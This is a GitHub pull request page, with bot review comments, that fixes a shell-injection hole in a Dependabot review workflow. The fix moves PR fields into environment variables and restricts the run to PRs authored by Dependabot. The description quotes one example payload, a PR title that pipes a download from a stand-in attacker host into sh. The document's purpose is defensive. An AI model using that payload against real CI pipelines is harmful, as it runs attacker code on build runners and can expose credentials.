ci: fix shell injection in dependabot-review workflow - #173
Conversation
The PR title was interpolated into a run: block as
PR_TITLE="${{ github.event.pull_request.title }}", so a title containing
$(...) or backticks ran as shell on the runner. The if: gate keyed on the
branch-name prefix, which any fork can set, so an untrusted PR reached it.
Impact was limited because the pull_request trigger gives fork PRs a
read-only token and no secrets, but the pattern becomes a credential leak
the moment the trigger or permissions change.
Pass PR fields through env and reference them as shell variables, and gate
on github.actor == 'dependabot[bot]' so only real Dependabot PRs run.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
|
No actionable comments were generated in the recent review. 🎉 ℹ️ Recent review info⚙️ Run configurationConfiguration used: Organization UI Review profile: CHILL Plan: Pro Run ID: 📒 Files selected for processing (1)
Included review availability: 2 reviews are currently available. Based on recent review activity, included reviews refill at 3 per hour. 📝 WalkthroughWalkthroughThe Dependabot review workflow now validates both pull request author and branch prefix. It passes pull request metadata, agent results, and Slack inputs through environment variables instead of inline shell interpolation. ChangesDependabot review workflow hardening
Estimated code review effort: 2 (Simple) | ~10 minutes Merge Risk: ⚪ Minimal · up to The workflow now passes pull request values safely through environment variables and restricts execution to genuine Dependabot runs; no actionable merge-blocking risk remains beyond normal checks and review. 🚥 Pre-merge checks | ✅ 5✅ Passed checks (5 passed)
✨ Finishing Touches🧪 Generate unit tests (beta)
Comment |
![baz-reviewer[bot]](https://avatars.githubusercontent.com/in/933528?s=60&v=4){kind=small}
github.actor is whoever triggered the event, so a maintainer reopening or pushing to a real Dependabot PR would flip it and skip the review and Slack notification. pull_request.user.login is the PR author, stable across who triggers, and still blocks the fork bypass since an attacker's PR is authored by their own account, not dependabot[bot]. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
![baz-app[bot]](https://avatars.githubusercontent.com/in/1124379?s=60&v=4){kind=small}
1 participant
User description
What changed
.github/workflows/dependabot-review.yml:github.event.pull_request.title/html_url(and the siblingsteps.*.outputsvalues) out of therun:scripts and intoenv:, referencing them as"$PR_TITLE"/"$PR_URL". No${{ }}expression is interpolated into a shell body anymore.startsWith(github.head_ref, 'dependabot/')togithub.actor == 'dependabot[bot]' && startsWith(github.head_ref, 'dependabot/').Why
The PR title was expanded into the script text as
PR_TITLE="${{ github.event.pull_request.title }}". A title like$(curl attacker/x | sh)or a backtick payload executes as shell on the runner at assignment time. The title is fully attacker-controlled, and the oldif:gate only checked the branch-name prefix — which any fork can set todependabot/anything— so an untrusted PR reached the sink.Impact today is limited: the trigger is
pull_request(notpull_request_target), so a fork PR runs with a read-onlyGITHUB_TOKENand no secrets. But this is exactly the pattern that turns into a credential leak the moment someone switches topull_request_targetor adds a secret. Fixing it now removes the sink and restricts the job to genuine Dependabot runs.Notes for reviewers
${{ github.event... }}remains inside anyrun:block; the only interpolations are inenv:(safe — set as environment variables, not evaluated as shell).github.actorfor real Dependabot PRs isdependabot[bot]; a fork PR from a human runs as that user and no longer matches, closing the branch-name bypass.🤖 Generated with Claude Code
Generated description
Below is a concise technical summary of the changes proposed in this PR:
Harden the Dependabot review workflow by passing attacker-controlled PR fields through environment variables instead of interpolating them into shell scripts. Restrict execution to PRs authored by
dependabot[bot]while preserving Cursor agent launches and Slack notifications.env:variables consumed safely by the Cursor launch and Slack notification scripts.Modified files (1)
Latest Contributors(2)
dependabot/*from bypassing the workflow gate.Modified files (1)
Latest Contributors(2)
Summary by CodeRabbit
Bug Fixes
Chores